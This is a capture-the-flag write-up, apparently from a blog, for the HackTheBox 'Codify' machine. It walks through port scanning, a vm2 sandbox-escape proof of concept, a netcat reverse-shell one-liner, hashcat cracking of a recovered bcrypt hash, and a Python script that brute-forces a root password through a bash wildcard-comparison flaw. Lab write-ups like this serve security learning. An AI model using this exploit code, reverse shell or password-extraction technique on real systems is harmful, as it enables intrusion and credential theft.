HackTheBox WriteUp - Codify

card

Enumeration

An initial port scan showed three open ports, SSH and two HTTP ports. Port 80 being an Apache reverse proxy to the Node.js server running on port 3000.

$ nmap -sV -sC -Pn -p1-65535 -o nmap.scan codify.htb

Starting Nmap 7.94 ( https://nmap.org ) at 2023-12-10 21:22 CET
Nmap scan report for codify.htb (10.10.11.239)
Host is up (0.024s latency).
Not shown: 65532 closed tcp ports (reset)
PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 8.9p1 Ubuntu 3ubuntu0.4 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   256 96:07:1c:c6:77:3e:07:a0:cc:6f:24:19:74:4d:57:0b (ECDSA)
|_  256 0b:a4:c0:cf:e2:3b:95:ae:f6:f5:df:7d:0c:88:d6:ce (ED25519)
80/tcp   open  http    Apache httpd 2.4.52
|_http-server-header: Apache/2.4.52 (Ubuntu)
|_http-title: Codify
3000/tcp open  http    Node.js Express framework
|_http-title: Codify
No exact OS matches for host (If you know what OS is running on it, see https://nmap.org/submit/ ).
TCP/IP fingerprint:
OS:SCAN(V=7.94%E=4%D=12/10%OT=22%CT=1%CU=43943%PV=Y%DS=2%DC=I%G=Y%TM=65761E
OS:2C%P=x86_64-unknown-linux-gnu)SEQ(SP=103%GCD=1%ISR=10A%TI=Z%CI=Z%II=I%TS
OS:=A)OPS(O1=M539ST11NW7%O2=M539ST11NW7%O3=M539NNT11NW7%O4=M539ST11NW7%O5=M
OS:539ST11NW7%O6=M539ST11)WIN(W1=FE88%W2=FE88%W3=FE88%W4=FE88%W5=FE88%W6=FE
OS:88)ECN(R=Y%DF=Y%T=40%W=FAF0%O=M539NNSNW7%CC=Y%Q=)T1(R=Y%DF=Y%T=40%S=O%A=
OS:S+%F=AS%RD=0%Q=)T2(R=N)T3(R=N)T4(R=Y%DF=Y%T=40%W=0%S=A%A=Z%F=R%O=%RD=0%Q
OS:=)T5(R=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)T6(R=Y%DF=Y%T=40%W=0%S=A
OS:%A=Z%F=R%O=%RD=0%Q=)T7(R=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)U1(R=Y
OS:%DF=N%T=40%IPL=164%UN=0%RIPL=G%RID=G%RIPCK=G%RUCK=G%RUD=G)IE(R=Y%DFI=N%T
OS:=40%CD=S)

Network Distance: 2 hops
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 32.69 seconds

Foothold

The website allows testing Node.js code in a browser console. After some initial enumeration, it was discovered, that the vm2 library version 3.9.16 is used for the sandboxing of the untrusted JavaScript code. This version is vulnerable to a sandbox escape through raising an unsanitized host exception. Snyk published the PoC shown below, which allows exection of the cat /etc/passwd command on the host machine.

const err = new Error();
  err.name = {
    toString: new Proxy(() => "", {
      apply(target, thiz, args) {
        const process = args.constructor.constructor("return process")();
        throw process.mainModule.require("child_process").execSync("cat /etc/passwd").toString();
      },
    }),
  };
  try {
    err.stack;
  } catch (stdout) {
    stdout;
}

Using the above vulnerability it was possible to start a reverse shell by executing netcat on the host and a listener on the attacker.

$ nc -lvp 4446
Listening on 0.0.0.0 4446
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|sh -i 2>&1|nc 10.10.14.49 4446 >/tmp/f

The user, which runs the Node.js server was svc, who did not have access to any user flags.

$ whoami
svc

After some further digging on the server, a contact website was found, which was not published. The folder contained a tickets.db file, which is an sqlite database.

$ ls /var/www
contact
editor
html
$ ls -l /var/www/contact
total 112
-rw-rw-r-- 1 svc svc  4377 Apr 19  2023 index.js
-rw-rw-r-- 1 svc svc   268 Apr 19  2023 package.json
-rw-rw-r-- 1 svc svc 77131 Apr 19  2023 package-lock.json
drwxrwxr-x 2 svc svc  4096 Apr 21  2023 templates
-rw-r--r-- 1 svc svc 20480 Sep 12 17:45 tickets.db

The database could be opened using the sqlite3 CLI. Checking the tables showed a user table, which contained the password hash for a joshua user. This joshua user was also found on the machine itself.

$ sqlite3 tickets.db
.tables
tickets  users  
select * from users;
3|joshua|$2a$12$SOn8Pf6z8fO/nVsNbAAequ/P6vLRJJl7gCUEiYBU2iLHn4G/p/Zw2

The hash could be cracked using an offline bruteforce attack with the tool hashcat.

$ hashcat -m 3200 -a 0 hashes /usr/share/wordlists/rockyou.txt --show
$2a$12$SOn8Pf6z8fO/nVsNbAAequ/P6vLRJJl7gCUEiYBU2iLHn4G/p/Zw2 spongebob1

The credentials turned out to be reused on the host, proven by a successful SSH login as joshua. This led to access to the user flag.

joshua@codify:~$ cat user.txt 
XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX

Privilege Escalation

Running the sudo -l command, showed that joshua is allowed to run the script /opt/scripts/mysql-backup.sh using sudo.

joshua@codify:~$ sudo -l
Matching Defaults entries for joshua on codify:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty

User joshua may run the following commands on codify:
    (root) /opt/scripts/mysql-backup.sh
cont

The script is used to backup databases. It loads the root credentials from a secured file, validates the credentials with a user input and backs up a mysql server to a secured directory. Using joshuas credentials it was possible to log into the mysql server, read the user table and extract the root user password hash. This hash was however not possible to be cracked using a bruteforce attack.

joshua@codify:~$ cat /opt/scripts/mysql-backup.sh 
#!/bin/bash
DB_USER="root"
DB_PASS=$(/usr/bin/cat /root/.creds)
BACKUP_DIR="/var/backups/mysql"

read -s -p "Enter MySQL password for $DB_USER: " USER_PASS
/usr/bin/echo

if [[ $DB_PASS == $USER_PASS ]]; then
        /usr/bin/echo "Password confirmed!"
else
        /usr/bin/echo "Password confirmation failed!"
        exit 1
fi

/usr/bin/mkdir -p "$BACKUP_DIR"

databases=$(/usr/bin/mysql -u "$DB_USER" -h 0.0.0.0 -P 3306 -p"$DB_PASS" -e "SHOW DATABASES;" | /usr/bin/grep -Ev "(Database|information_schema|performance_schema)")

for db in $databases; do
    /usr/bin/echo "Backing up database: $db"
    /usr/bin/mysqldump --force -u "$DB_USER" -h 0.0.0.0 -P 3306 -p"$DB_PASS" "$db" | /usr/bin/gzip > "$BACKUP_DIR/$db.sql.gz"
done

/usr/bin/echo "All databases backed up successfully!"
/usr/bin/echo "Changing the permissions"
/usr/bin/chown root:sys-adm "$BACKUP_DIR"
/usr/bin/chmod 774 -R "$BACKUP_DIR"
/usr/bin/echo 'Done!'

The script uses [[ $DB_PASS == $USER_PASS ]] to compare the user input with the correct password. This is bad, because it does pattern matching instead of actually comparing two strings with each other. This means that the wildcard character * produces True in the comparison, since it matches everything. With this knowledge a script was written, which bruteforces the password one character at the time. The script uses the currently known part of the password, appends a new character and * to it and checks if the comparison returns True. If yes the character gets appended permanently, if no a new character is tried. After a few seconds, this revealed the root password.

joshua@codify:~$ python3
Python 3.10.12 (main, Jun 11 2023, 05:26:28) [GCC 11.4.0] on linux
Type "help", "copyright", "credits" or "license" for more information.
>>> import os
>>> import string
>>> 
>>> valid_chars = string.ascii_letters + string.digits
>>> pw = ""
>>> 
>>> while True:
...     for char in valid_chars:
...         current_pw = pw + char + "*"
...         command = "echo '{}' | sudo /opt/scripts/mysql-backup.sh >/dev/null 2>&1".format(current_pw)
...         ret = os.system(command)
...         if(ret == 0): 
...             pw = pw + char
...             print(pw)
... 
k
kl
klj
kljh
kljh1
kljh12
kljh12k
kljh12k3
kljh12k3j
kljh12k3jh
kljh12k3jha
kljh12k3jhas
kljh12k3jhask
kljh12k3jhaskj
kljh12k3jhaskjh
kljh12k3jhaskjh1
kljh12k3jhaskjh12
kljh12k3jhaskjh12k
kljh12k3jhaskjh12kj
kljh12k3jhaskjh12kjh
kljh12k3jhaskjh12kjh3
root@codify:~# cat root.txt 
XXXXXXXXXXXXXXXXXXXXXXXXXXXXXX

Reflection

The initial foothold into the machine was rather easy, as the vm2 package and its version was linked on the website itself and the exploit was only one google search away. I spent a long time, trying to bruteforce the root password hash, which didn’t work out. This just showed me, that being able to bruteforce passwords is an option, however often times probably won’t work out. I learned something new about how not to comparisons in bash, which is nice.

Updated: